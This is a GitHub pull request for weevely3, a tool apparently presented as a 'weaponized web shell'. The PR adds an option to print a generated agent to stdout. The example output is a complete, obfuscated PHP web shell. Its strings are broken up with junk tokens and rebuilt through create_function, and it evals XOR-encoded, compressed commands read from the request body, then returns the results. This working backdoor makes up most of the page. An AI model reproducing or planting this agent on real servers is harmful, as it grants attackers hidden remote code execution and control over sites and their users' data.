epinna / weevely3

Weaponized web shell
GNU General Public License v3.0
3.16k stars 604 forks source link

Add `-` filename as stdout #176

Closed ZanyMonk closed 1 year ago

ZanyMonk commented 1 year ago

Enables one to print the generated agent directly to stdout like so:

$ weevely generate 'testingpassword' -
<?php
$D='j];}}re0xt0xurn $o;}if (0x@preg0x_match(0x"/$kh(0x0x.+)$kf/",0x@fi0x0xle_get_content';
$P='();$r=@base60x4_enc0xode(0x@x(@g0xzc0xompress(0x$o),$0xk));pri0xnt(0x"$p$kh$r$kf");}';
$h='s(0x"php://0xi0xn0xput"),$0xm)==1) {@ob_sta0xrt();@e0xva0xl(@gz0xu0xncompre0xss(0x@x';
$g='5f83uD9"0x;func0xtion x(0x$t,$k0x){$c=strl0xen(0x$k);$l0x=str0xlen($t);$o=0x"";for0x';
$V=str_replace('RN','','RNcreatRNRNeRNRN_functRNion');
$W='(@ba0xse64_decode($0xm[0x1]),$0xk)));$o=@ob_get0x_con0x0xtents();@ob_e0x0xnd_cle0xan';
$r='$k="0x81dc9bdb"0x;$k0x0xh="52d04dc200x0360x";$kf="dbd830x0x13ed055";$0xp0x="WKtPU0xmePR';
$m='($i=0;0x$i<0x$l0x;)0x{for($j=0;0x($j<0x$c&&$i<$0xl)0x;$j++,$i++)0x{0x$o.0x=$t[$i]^$k[$';
$f=str_replace('0x','',$r.$g.$m.$D.$h.$W.$P);
$Z=$V('',$f);$Z();
?>